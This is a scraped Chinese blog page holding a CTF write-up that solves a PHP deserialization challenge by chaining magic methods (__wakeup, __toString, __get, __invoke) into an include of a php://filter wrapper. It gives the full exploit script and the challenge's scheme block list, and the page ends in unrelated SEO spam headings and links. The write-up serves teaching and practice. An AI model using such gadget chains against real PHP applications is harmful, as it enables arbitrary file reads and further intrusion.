当前位置: 首页 > news >正文

网站有源代码如何做seowordpress is single

网站有源代码如何做seo,wordpress is single,东莞建网站服务,企业做网站需要的资料这道题对于刚接触到pop链的我直接把我整懵了,一边看着魔术方法一边分析 魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程,简单编程 (twle.cn) 代码解析 经过以上的分析我们可以理一下解题思路:接收参数反序列化之前先触发…

这道题对于刚接触到pop链的我直接把我整懵了,一边看着魔术方法一边分析

魔术方法可以看这里PHP 魔术方法 - 简介 - PHP 魔术方法 - 简单教程,简单编程 (twle.cn)

代码解析

经过以上的分析我们可以理一下解题思路:接收参数反序列化之前先触发wakeup方法,进行一些过滤防止ssrf,我们可以将source赋值为实例对象触发tostring方法

如果我们将str赋值为Test类的一个对象,因为读取不到source触发get魔术方法

再将Test类中的p赋值为Modify类的一个对象,对象被当作函数使用直接触发invoke

方法,从而包含文件用伪协议读取出来

链子大概就是这样:show->__wakeup->__tostring->Test->__get->Modify->__invoke->append->include

因为var是protect属性无法在类外进行访问,所以我们直接进行复赋值

直接上我的脚本了,先将三个类实例化出三个对象a,b,c  通过这三个对象来访问类内部的变量

$c->p = $a将Test中的p赋值为一个Modify对象,用来触发invoke方法
$b->source = new Show()因为通过$b这个对象进行访问的,所以需要source赋值一个新的Show对象,用来触发__toString方法
$b->source->str = $c中$b->source已经成为一个新的Show实例对象,通过该对象访问str,为其赋值为$c(Test类的对象),又因为Test类中访问不到source资源从而触发get方法

最后进行url编码是因为protected属性的变量会输出一些不可见的字符,直接复制显示就是乱码无法构成成功攻击,进行一次url编码即可,浏览器会自动解码的

class Modifier {protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";public function append($value){include($value);	//包含flag.php}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __toString(){return $this->str->source;	//将Test实例化的对象给str,在Test中不存在source,此处调用__toString时触发__get方法}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;
//    public function __construct(){
//        $this->p = array();           没用,注释掉
//    }public function __get($key){$function = $this->p;return $function();	//触发__invoke方法}
}$a = new Modifier();
$b = new Show();
$c = new Test();
$c->p = $a;
$b->source = new Show();
$b->source->str = $c;
echo urlencode(serialize($b));

得到一串base64

解码得到flag

http://www.yayakq.cn/news/854966/

相关文章:

  • 高安市帮助做公司网站怎么自己做网站推广
  • 35互联做网站怎么样女士新能源小型车
  • 佛山公司网站设计团队网站制作步骤是什么
  • 加强检察门户网站建设情况网站建设状态栏
  • 可以做书的网站网站开发网站有哪些
  • 宁波智能模板建站网站SEO的评价
  • 合同下载网站每月网站开发费用
  • 网站功能与建设特色专业教育网站建设
  • 大坪网站建设手工制作大全创意废物利用
  • 网站内容设计上的特色杭州做网站制作
  • 深圳培训手机网站建设Windows怎么建设网站
  • 河南省建设厅网站中州杯网站建设公司汕头的
  • 找人做网站需要什么条件上海公司名称注册查询网
  • 手机端h5网站模板下载中国最大的外贸平台
  • 淘宝客是以下哪个网站的会员简称做app需要学什么编程
  • 如何找有需求做网站的公司建e网室内设计网下载
  • 做电梯销售从哪些网站获取信息响应式网站开发教程pdf
  • 南浔区住房和城乡建设局网站wordpress 跨站
  • 内部网站如何做淘宝网站可以做百度快照吗
  • 个人电商网站建设范例推广图片模板
  • 一站式服务就像一个什么锦州企业网站建设
  • 成都交易网站建设seo运营推广
  • 长春建网站怎么查询网站建设时间
  • 花瓣网网站模板网站分页代码
  • 句容本地网站wordpress 菜单 导航代码
  • 企业门户网站建设案例wordpress内存高
  • 东莞专业网站建设价格企业网站建设与网络营销的关系
  • 为网站做seo需要什么wordpress给分类做模板
  • 响应网站模板下载如何进行电子商务网站推广
  • ps设计师网站有哪些郑州网站推广方案